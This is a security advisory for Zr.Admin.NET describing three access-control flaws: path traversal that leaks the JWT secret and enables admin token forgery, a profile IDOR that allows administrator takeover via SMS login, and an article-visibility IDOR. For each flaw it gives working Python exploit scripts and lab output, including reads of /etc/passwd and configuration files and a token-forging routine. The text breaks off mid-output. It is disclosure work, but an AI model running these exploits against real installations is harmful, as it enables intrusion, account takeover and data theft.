Zr.Admin.NET Vulnerability Report
Software: Zr.Admin.NET
Developer or vendor: izhaorui
Code repository: https://github.com/izhaorui/Zr.Admin.NET
1. Arbitrary File Read in the Download Endpoint Leads to Admin Token Forgery (CVE-2026-129464)
| Brief description: | A user with an account can read configuration files on the server and forge an administrator token with the JWT key stored in them. |
|---|---|
| Affected versions: | 0ee1ab8a (2023-12-16) to eb9228a2 (2026-10-22) |
| Introduced in: | Zr.Admin.NET commit 0ee1ab8a |
| Preconditions: | The attacker holds an account. |
Root Cause
CommonController.DownloadFile takes the request parameter path as a server file path. The code is:
// ZR.Admin.WebApi/Controllers/CommonController.cs:220-241 commit eb9228a230
[HttpGet]
[ActionPermissionFilter(Permission = "common")]
[Log(Title = "下载文件", IsSaveResponseData = false)]
public IActionResult DownloadFile(string? path, long fileId = 0)
{
var tempPath = path;
if (fileId > 0)
{
var fileInfo = SysFileService.GetById(fileId);
if (fileInfo != null)
{
tempPath = fileInfo.FileUrl;
}
}
string fullPath = tempPath;
if (tempPath.StartsWith("/") && WebHostEnvironment.IsDevelopment())
{
fullPath = Path.Combine(WebHostEnvironment.WebRootPath, tempPath.ReplaceFirst("/", ""));
}
string fileName = Path.GetFileName(fullPath);
return DownFile(fullPath, fileName);
}
Permission = "common" in the permission filter means the endpoint is open to any login, so an account with no roles and no permissions can call it as well (ZR.ServiceCore/Filters/ActionPermissionFilter.cs:114). In production IsDevelopment() is false, and path reaches DownFile unchanged:
// Infrastructure/Controllers/BaseController.cs:109-120 commit eb9228a230
protected IActionResult DownFile(string path, string fileName)
{
if (!System.IO.File.Exists(path))
{
return ToResponse(ResultCode.CUSTOM_ERROR, "文件不存在");
}
var stream = System.IO.File.OpenRead(path); //创建文件流
Response.Headers.Append("Access-Control-Expose-Headers", "Content-Disposition");
return File(stream, "application/octet-stream", HttpUtility.UrlEncode(fileName));
}
The path is not normalized with Path.GetFullPath and is not confined to a base directory, so absolute paths and ../ both work.
With JwtSettings:SecretKey in hand, a token can be forged. JwtUtil.ValidateJwtToken only deserializes the userdata claim into LoginUser:
// Infrastructure/JwtUtil.cs:139-155 commit eb9228a230
public static LoginUser? ValidateJwtToken(JwtSecurityToken jwtSecurityToken)
{
try
{
if (jwtSecurityToken == null) return null;
IEnumerable<Claim> claims = jwtSecurityToken?.Claims;
LoginUser loginUser = null;
var userData = claims.FirstOrDefault(x => x.Type == ClaimTypes.UserData)?.Value;
if (userData != null)
{
loginUser = JsonConvert.DeserializeObject<LoginUser>(userData);
loginUser.ExpireTime = jwtSecurityToken.ValidTo;
}
return loginUser;
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
return null;
}
}
Authorization results then follow the RoleKeys and Permissions in the token. An attacker can issue a token for UserId=1 that carries RoleKeys=["admin"], and later requests are handled as an administrator.
Reproduction Environment
The lab builds the image from the Dockerfile in the repository. The restore stage of that Dockerfile misses the csproj of ZR.Workflow, so add one line before building:
git clone https://github.com/izhaorui/Zr.Admin.NET
cd Zr.Admin.NET
sed -i 's#COPY \["ZR.Mall/ZR.Mall.csproj", "ZR.Mall/"\]#&\nCOPY ["ZR.Workflow/ZR.Workflow.csproj", "ZR.Workflow/"]#' ZR.Admin.WebApi/Dockerfile
docker build -f ZR.Admin.WebApi/Dockerfile -t zradmin-webapi:latest .
The official compose file has no database service, so the lab adds MySQL and mounts the configuration into the container:
services:
db:
image: mysql:8.0
command: --character-set-server=utf8mb4 --collation-server=utf8mb4_general_ci
environment:
MYSQL_ROOT_PASSWORD: root123456
MYSQL_DATABASE: zrdb
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot123456"]
interval: 5s
timeout: 5s
retries: 30
app:
image: zradmin-webapi:latest
depends_on:
db:
condition: service_healthy
ports:
- "1888:8888"
volumes:
- ./appsettings.Production.json:/app/appsettings.Production.json
appsettings.Production.json is:
{
"urls": "http://+:8888",
"dbConfigs": [
{
"Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50",
"DbType": 0,
"ConfigId": "0",
"IsAutoCloseConnection": true,
"DbName": "zrdb"
}
],
"CodeGenDbConfig": {
"Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50",
"DbType": 0,
"DbName": "zrdb"
},
"ModuleInit": {
"Workflow": true,
"Mall": true,
"Member": true
},
"workId": "1",
"JwtSettings": {
"Issuer": "ZRAdmin.NET",
"Audience": "ZRAdmin.NET",
"SecretKey": "ZrAdminVulnLabSecretKey20261113-x9Q",
"Expire": 1440,
"RefreshTokenTime": 30,
"TokenType": "Bearer"
},
"SmsOptions": {
"Enabled": false
}
}
Initialize the database and start:
docker compose up -d db
docker compose run --rm --no-deps app dotnet ZR.Admin.WebApi.dll --initdb
docker compose up -d app
After the environment is up, log in to the admin panel with admin/123456, create an account low1 with the password Aa123456!, and assign no role to it.
The login script follows; login returns the JWT of the account:
import base64, re, requests
B = "http://127.0.0.1:1888"
def login(user, password):
d = requests.get(f"{B}/captchaImage").json()["data"]
code = "".join(re.findall(r"<text[^>]*>(.*?)</text>",
base64.b64decode(d["img"].split("base64,", 1)[1]).decode()))
return requests.post(f"{B}/login", json={"username": user, "password": password,
"code": code, "uuid": d["uuid"]}).json()["data"]
Reproduction
Log in as low1 and read /etc/passwd and the configuration file:
import requests
B = "http://127.0.0.1:1888"
tok = login("low1", "Aa123456!")
print("low1 token:", tok)
H = {"Authorization": f"Bearer {tok}"}
for p in ["/etc/passwd", "/app/appsettings.Production.json"]:
r = requests.get(f"{B}/common/DownloadFile", params={"path": p}, headers=H)
print(f"\nGET /common/DownloadFile?path={p} -> HTTP {r.status_code}, {len(r.content)} bytes")
print(r.text)
Output:
low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiYTU2ZmI5MmE0MTAzNDhhMjg1NzUxNDliYjEyOGVjYWZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0NDI1LCJleHAiOjE3OTQ2NjA4MjUsImlhdCI6MTc5NDU3NDQyNSwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.Edp_XAj1bd6Y6HyJHVvcfJSBkfuLBLJrVfVasWHL5VA
GET /common/DownloadFile?path=/etc/passwd -> HTTP 200, 874 bytes
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
app:x:1654:1654::/home/app:/bin/sh
GET /common/DownloadFile?path=/app/appsettings.Production.json -> HTTP 200, 1320 bytes
{
"urls": "http://+:8888",
"dbConfigs": [
{
"Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50",
"DbType": 0,
"ConfigId": "0",
"IsAutoCloseConnection": true,
"DbName": "zrdb"
}
],
"CodeGenDbConfig": {
"Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50",
"DbType": 0,
"DbName": "zrdb"
},
"ModuleInit": {
"Workflow": true,
"Mall": true,
"Member": true
},
"workId": "1",
"JwtSettings": {
"Issuer": "ZRAdmin.NET",
"Audience": "ZRAdmin.NET",
"SecretKey": "ZrAdminVulnLabSecretKey20261113-x9Q",
"Expire": 1440,
"RefreshTokenTime": 30,
"TokenType": "Bearer"
},
"SmsOptions": {
"Enabled": false
}
}
Forge an administrator token with the SecretKey just read, then call an administrator endpoint:
import base64, hashlib, hmac, json, time, requests
B = "http://127.0.0.1:1888"
secret = "ZrAdminVulnLabSecretKey20261113-x9Q"
def b64(o):
return base64.urlsafe_b64encode(json.dumps(o, separators=(",", ":")).encode()).rstrip(b"=").decode()
now = int(time.time())
body = {"primarysid": "1", "nameid": "1", "unique_name": "admin", "groupsid": "0",
"http://schemas.microsoft.com/ws/2008/06/identity/claims/userdata":
json.dumps({"UserId": 1, "UserName": "admin", "DeptId": 0,
"RoleKeys": ["admin"], "Permissions": ["*:*:*"]}),
"nbf": now, "exp": now + 3600, "iat": now, "iss": "ZRAdmin.NET", "aud": "ZRAdmin.NET"}
msg = f"{b64({'alg': 'HS256', 'typ': 'Bearer'})}.{b64(body)}".encode()
token = msg.decode() + "." + base64.urlsafe_b64encode(
hmac.new(secret.encode(), msg, hashlib.sha256).digest()).decode().rstrip("=")
print("forged token:", token)
H = {"Authorization": f"Bearer {token}"}
print(requests.get(f"{B}/system/user/list", params={"pageNum": 1, "pageSize": 2}, headers=H).text)
Output:
secret: ZrAdminVulnLabSecretKey20261113-x9Q
forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOiAxLCBcIlVzZXJOYW1lXCI6IFwiYWRtaW5cIiwgXCJEZXB0SWRcIjogMCwgXCJSb2xlS2V5c1wiOiBbXCJhZG1pblwiXSwgXCJQZXJtaXNzaW9uc1wiOiBbXCIqOio6KlwiXX0iLCJuYmYiOjE3OTQ1NzQ0MjYsImV4cCI6MTc5NDU3ODAyNiwiaWF0IjoxNzk0NTc0NDI2LCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.GMX_pluUUjGb4smC1nmnB8lSA0pz5-SY5CDdFmkBkvY
GET /system/user/list?pageNum=1&pageSize=2 -> 200 1011B
{
"code": 200,
"msg": "success",
"data": {
"pageSize": 2,
"pageIndex": 1,
"totalNum": 1,
"totalPage": 1,
"result": [
{
"userId": 1,
"userName": "admin",
"nickName": "管理员",
"email": null,
"remark": "管理员",
"phonenumber": null,
"avatar": null,
"sex": 0,
"password": "E10ADC3949BA59ABBE56E057F20F883E",
"status": 0,
"loginIP": "172.24.0.1",
"loginDate": "2026-11-13 20:53:44",
"deptId": 0,
"leaderId": null,
"leaderName": null,
"welcomeContent": null,
"pwdUpdateTime": null,
"twoFactorEnabled": 0,
"create_time": "2026-11-13 12:53:33",
"create_by": null,
"update_time": null,
"update_by": null,
"isAdmin": true,
"deptName": null,
"roleIds": null,
"postIds": null,
"roles": null,
"welcomeMessage": "晚上好"
}
],
"extra": {}
}
}
isAdmin is true, and the response contains the password hash of the administrator account.
2. IDOR in the Profile Endpoint Leads to Administrator Account Takeover (CVE-2026-129465)
| Brief description: | A user with an account can overwrite the phone number of another account and sign in to that account with an SMS code, taking over the administrator account. |
|---|---|
| Affected versions: | af07ffc5 (2022-03-04) to eb9228a2 (2026-10-22) |
| Introduced in: | Zr.Admin.NET commit af07ffc5 |
| Preconditions: | The attacker holds an account, can receive SMS, and knows the UserId of the target account (the administrator is 1 in a default installation). |
Root Cause
SysProfileController.UpdateProfile reads the whole SysUserDto from the request body, UserId included:
// ZR.Admin.WebApi/Controllers/System/SysProfileController.cs:62-75 commit eb9228a230
[HttpPut]
[ActionPermissionFilter(Permission = "common")]
[Log(Title = "修改信息", BusinessType = BusinessType.UPDATE)]
public IActionResult UpdateProfile([FromBody] SysUserDto userDto)
{
if (userDto == null)
{
throw new CustomException(ResultCode.PARAM_ERROR, "请求参数错误");
}
var user = userDto.Adapt<SysUser>().ToUpdate(HttpContext);
int result = UserService.ChangeUser(user);
return ToResponse(result);
}
ChangeUser updates by user.UserId, and the updated fields include Phonenumber and Status. The relation between the logged-in user and that UserId is not checked:
// ZR.ServiceCore/Services/SysUserService.cs:220-236 commit eb9228a230
public int ChangeUser(SysUser user)
{
user.Update_time = DateTime.Now;
var result = Update(user, t => new
{
t.NickName,
t.Email,
t.Phonenumber,
t.DeptId,
t.LeaderId,
t.Status,
t.Sex,
t.PostIds,
t.Remark,
t.Update_by,
t.Update_time
}, true);
ChangeUserStatus in the file calls CheckUserAllowed (SysUserService.cs:312-315), while ChangeUser does not.
The endpoint accepts only UserId and no user name, so the identifier of the target account is needed. In a default installation the administrator is 1; when the target account has published an article, the anonymous article detail returns the userId of the author too.
After the phone number is overwritten, the anonymous endpoint /checkMobile sends a code to that number, and the anonymous endpoint /PhoneLogin issues a token by phone number:
// ZR.Admin.WebApi/Controllers/System/SysLoginController.cs:470-495 commit eb9228a230
[HttpPost("/checkMobile")]
[Log(Title = "发送短息", BusinessType = BusinessType.INSERT)]
[AllowAnonymous]
public IActionResult CheckMobile([FromBody] PhoneLoginDto dto)
{
dto.LoginIP = HttpContextExtension.GetClientUserIp(HttpContext);
var uid = HttpContext.GetUId();
sysTenantService.CheckTenant(dto.TenantId);
if (dto.SendType == 0)
{
var info = sysUserService.GetFirst(f => f.Phonenumber == dto.PhoneNum)
?? throw new CustomException(ResultCode.CUSTOM_ERROR, "该手机号不存在", false);
uid = info.UserId;
}
// ZR.Admin.WebApi/Controllers/System/SysLoginController.cs:516-549 commit eb9228a230
[Route("PhoneLogin")]
[HttpPost]
[Log(Title = "手机号登录", IsSaveResponseData = false)]
[AllowAnonymous]
public IActionResult PhoneLogin([FromBody] PhoneLoginDto loginBody)
{
if (loginBody == null) { throw new CustomException("请求参数错误"); }
loginBody.LoginIP = HttpContextExtension.GetClientUserIp(HttpContext);
sysLoginService.CheckLockUser(loginBody.PhoneNum);
if (!CacheService.CheckPhoneCode(loginBody.PhoneNum, loginBody.PhoneCode))
{
sysLoginService.RecordLoginFailure(loginBody.PhoneNum);
...
}
PhoneLogin compares only the phone number and the code, and issues a token for the account that owns the number.
Reproduction Environment
The lab of section 1 is reused. Before each reproduction run docker compose down -v to drop the volumes, then initialize again as in section 1.
Reproduction
Log in as low1, write its own phone number onto UserId=1, and make the server send a code to that number:
import requests
B = "http://127.0.0.1:1888"
low = login("low1", "Aa123456!")
print("low1 token:", low)
H = {"Authorization": f"Bearer {low}"}
r = requests.put(f"{B}/system/user/profile", headers=H, json={
"userId": 1, "nickName": "PWNED", "phonenumber": "13800138000", "status": 0})
print("PUT /system/user/profile ->", r.status_code, r.text.strip())
r = requests.post(f"{B}/checkMobile", json={"phoneNum": "13800138000", "sendType": 0})
print("POST /checkMobile ->", r.status_code, r.text.strip())
Output:
low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiZTNiYzYxNTkwY2Y5NGJjY2FiNDQ2MTBmYTQ4NjkzZTZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0NDczLCJleHAiOjE3OTQ2NjA4NzMsImlhdCI6MTc5NDU3NDQ3MywiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.6BVEFcSSNiETvRuYxj_00kIxfQm_8e79WaNbPMxRV3I
PUT /system/user/profile -> 200 {
"code": 200,
"msg": "success"
}
POST /checkMobile -> 200 {
"code": 200,
"msg": "success",
"data": 1
}
Confirm from the database that the administrator record was overwritten:
docker compose exec db mysql -uroot -proot123456 -e \
"select UserId,UserName,NickName,Phonenumber,Status from zrdb.sys_user where UserId in (1,2)"
UserId UserName NickName Phonenumber Status
1 admin PWNED 13800138000 0
2 low1 low1 NULL 0
In production the SMS goes to the phone of the attacker. The lab has no real SMS service, so no message arrives. The code is read from the container log:
docker compose exec app sh -c 'grep "模拟短信" logs/all.log | tail -1'
2026-11-13 20:54:33.4671 | 0 | 0HNQ1GL0RU7G6 | INFO | ZR.ServiceCore.Sms.DefaultSmsSender | ::ffff:172.25.0.1 | - | http://127.0.0.1/checkMobile | 【模拟短信】手机号=13800138000,模板=,内容=验证码270025,有效期10分钟。 | | | -
Use it to log in:
import requests
B = "http://127.0.0.1:1888"
r = requests.post(f"{B}/PhoneLogin", json={"phoneNum": "13800138000", "phoneCode": "270025"})
print("POST /PhoneLogin ->", r.status_code, r.text.strip())
tok = r.json()["data"]
print("\nadmin token:", tok)
H = {"Authorization": f"Bearer {tok}"}
print(requests.get(f"{B}/system/user/list", params={"pageNum": 1, "pageSize": 3}, headers=H).text)
Output:
POST /PhoneLogin -> 200 {
"code": 200,
"msg": "success",
"data": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImYzMWM2ZDQ2OGQwMjRhNDRhMzJmMzNlY2UxZWVlNGQxXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwiUFdORURcIixcIlJvbGVLZXlzXCI6W1wiYWRtaW5cIl0sXCJSb2xlc1wiOlt7XCJSb2xlSWRcIjoxLFwiUm9sZUtleVwiOlwiYWRtaW5cIixcIkRhdGFTY29wZVwiOjF9XSxcIkV4cGlyZVRpbWVcIjpcIjAwMDEtMDEtMDFUMDA6MDA6MDBcIixcIlRlbmFudElkXCI6bnVsbCxcIlBlcm1pc3Npb25zXCI6W1wiKjoqOipcIl0sXCJTY29wZVR5cGVcIjo0fSIsIm5iZiI6MTc5NDU3NDQ3NCwiZXhwIjoxNzk0NjYwODc0LCJpYXQiOjE3OTQ1NzQ0NzQsImlzcyI6IlpSQWRtaW4uTkVUIiwiYXVkIjoiWlJBZG1pbi5ORVQifQ.VL0nZBENI61_l5RLyfT9GndwnsDhs0HfwBHw3DmtNZk"
}
admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImYzMWM2ZDQ2OGQwMjRhNDRhMzJmMzNlY2UxZWVlNGQxXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwiUFdORURcIixcIlJvbGVLZXlzXCI6W1wiYWRtaW5cIl0sXCJSb2xlc1wiOlt7XCJSb2xlSWRcIjoxLFwiUm9sZUtleVwiOlwiYWRtaW5cIixcIkRhdGFTY29wZVwiOjF9XSxcIkV4cGlyZVRpbWVcIjpcIjAwMDEtMDEtMDFUMDA6MDA6MDBcIixcIlRlbmFudElkXCI6bnVsbCxcIlBlcm1pc3Npb25zXCI6W1wiKjoqOipcIl0sXCJTY29wZVR5cGVcIjo0fSIsIm5iZiI6MTc5NDU3NDQ3NCwiZXhwIjoxNzk0NjYwODc0LCJpYXQiOjE3OTQ1NzQ0NzQsImlzcyI6IlpSQWRtaW4uTkVUIiwiYXVkIjoiWlJBZG1pbi5ORVQifQ.VL0nZBENI61_l5RLyfT9GndwnsDhs0HfwBHw3DmtNZk
GET /system/user/list?pageNum=1&pageSize=3 -> 200 1863B
{
"code": 200,
"msg": "success",
"data": {
"pageSize": 3,
"pageIndex": 1,
"totalNum": 2,
"totalPage": 1,
"result": [
{
"userId": 1,
"userName": "admin",
"nickName": "PWNED",
"email": null,
"remark": "管理员",
"phonenumber": "13800138000",
"avatar": null,
"sex": 0,
"password": "E10ADC3949BA59ABBE56E057F20F883E",
"status": 0,
"loginIP": "172.25.0.1",
"loginDate": "2026-11-13 20:54:35",
"deptId": 0,
"leaderId": null,
"leaderName": null,
"welcomeContent": null,
"pwdUpdateTime": null,
"twoFactorEnabled": 0,
"create_time": "2026-11-13 12:54:21",
"create_by": null,
"update_time": "2026-11-13 12:54:33",
"update_by": "low1",
"isAdmin": true,
"deptName": null,
"roleIds": null,
"postIds": null,
"roles": null,
"welcomeMessage": "晚上好"
},
{
"userId": 2,
"userName": "low1",
"nickName": "low1",
"email": null,
"remark": null,
"phonenumber": null,
"avatar": null,
"sex": 0,
"password": "836E5D18D15F021BB70D5F97F0A1C0B0",
"status": 0,
"loginIP": "172.25.0.1",
"loginDate": "2026-11-13 20:54:33",
"deptId": 0,
"leaderId": null,
"leaderName": null,
"welcomeContent": null,
"pwdUpdateTime": null,
"twoFactorEnabled": 0,
"create_time": "2026-11-13 12:54:32",
"create_by": "admin",
"update_time": null,
"update_by": null,
"isAdmin": false,
"deptName": null,
"roleIds": null,
"postIds": null,
"roles": null,
"welcomeMessage": "晚上好"
}
],
"extra": {}
}
}
The returned token belongs to admin, the update_by field is low1, and nickName has become PWNED.
3. IDOR Exposes Private Articles (CVE-2026-129455)
| Brief description: | A user with an account can change the pin state and the visibility of articles owned by others, and read the body of a private article after making it public. |
|---|---|
| Affected versions: | e6ceaf47 (2024-04-29) to eb9228a2 (2026-10-22) |
| Introduced in: | Zr.Admin.NET commit e6ceaf47 |
| Preconditions: | The attacker holds an account, and the instance has private articles published by other users. |
Root Cause
The two actions were added to the admin ArticleController in daef6af0 with the system:article:update permission; FrontArticleController, added in e6ceaf4, exposes them to every logged-in user. ChangePublic only carries common, and the ownership check compares against the userId of the request body:
// ZR.Admin.WebApi/Controllers/Content/FrontArticleController.cs:134-152 commit eb9228a230
[HttpPut("changePublic")]
[ActionPermissionFilter(Permission = "common")]
public IActionResult ChangePublic([FromBody] Article parm)
{
if (parm == null) { return ToResponse(ResultCode.CUSTOM_ERROR); }
var userId = HttpContext.GetUId();
if (userId != parm.UserId)
{
return ToResponse(ResultCode.CUSTOM_ERROR, "操作失败");
}
var response = _ArticleService.ChangeArticlePublic(parm);
return SUCCESS(response);
}
Filling parm.UserId with the attacker’s own account passes the check, while ChangeArticlePublic updates by Cid only:
// ZR.Service/Content/ArticleService.cs:430-438 commit eb9228a230
public int ChangeArticlePublic(Article model)
{
var response = Update(w => w.Cid == model.Cid, it => new Article()
{
IsPublic = model.IsPublic,
});
return response;
}
Top has no such check (FrontArticleController.cs:122-131), and TopArticle updates IsTop by Cid only (ArticleService.cs:402-410). The article detail endpoint is anonymous (FrontArticleController.cs:191-194), so once a private article is made public, an anonymous request returns its body.
Reproduction Environment
The lab of section 1 is reused. Before each reproduction run docker compose down -v to drop the volumes, then initialize again as in section 1.
Reproduction
The administrator publishes a private article:
import requests
B = "http://127.0.0.1:1888"
admin = {"Authorization": f"Bearer {login('admin', '123456')}"}
r = requests.post(f"{B}/front/article/publish", headers=admin, json={
"title": "Q3 payroll review",
"content": "<p>CFO salary 480000, bank account 6222 0000 1111 2222</p>",
"isPublic": 0, "isTop": 0})
cid = r.json()["data"]["cid"]
print("admin POST /front/article/publish -> cid=%d, isPublic=%d, userId=%d"
% (cid, r.json()["data"]["isPublic"], r.json()["data"]["userId"]))
Output:
admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcIjk2NDIxODA4NDQ0ZjQ3YWViZjdlNTU5ZDI3YmNjY2M4XCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ1NzQzMzEsImV4cCI6MTc5NDY2MDczMSwiaWF0IjoxNzk0NTc0MzMxLCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.sn7FtFWfhYaJM5Nd66250nEuwrylyIWYD3uxU2xXw8Q
low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiZDZkNGNmYTVhYzI3NGZjMmFhNDM3NTJlMWUzYmQwYzNcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0MzMyLCJleHAiOjE3OTQ2NjA3MzIsImlhdCI6MTc5NDU3NDMzMiwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.jVLpmqhY2IjEhhstzG8pXD6s4qnxnhiCKXt1T0IaFTs
admin POST /front/article/publish -> cid=1, isPublic=0, userId=1
An anonymous request for the article fails:
r = requests.get(f"{B}/front/article/1")
print(r.status_code, r.text)
200 {
"code": 110,
"msg": "访问失败"
}
low1 fills its own userId into the request body and makes the private article public:
low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"}
r = requests.put(f"{B}/front/article/changePublic", headers=low,
json={"cid": 1, "userId": 2, "isPublic": 1})
print("changePublic ->", r.status_code, r.text.strip())
changePublic -> 200 {
"code": 200,
"msg": "success",
"data": 1
}
An anonymous request returns the body:
r = requests.get(f"{B}/front/article/1")
print(r.status_code, r.text)
200 {
"code": 200,
"msg": "success",
"data": {
"cid": 1,
"title": "Q3 payroll review",
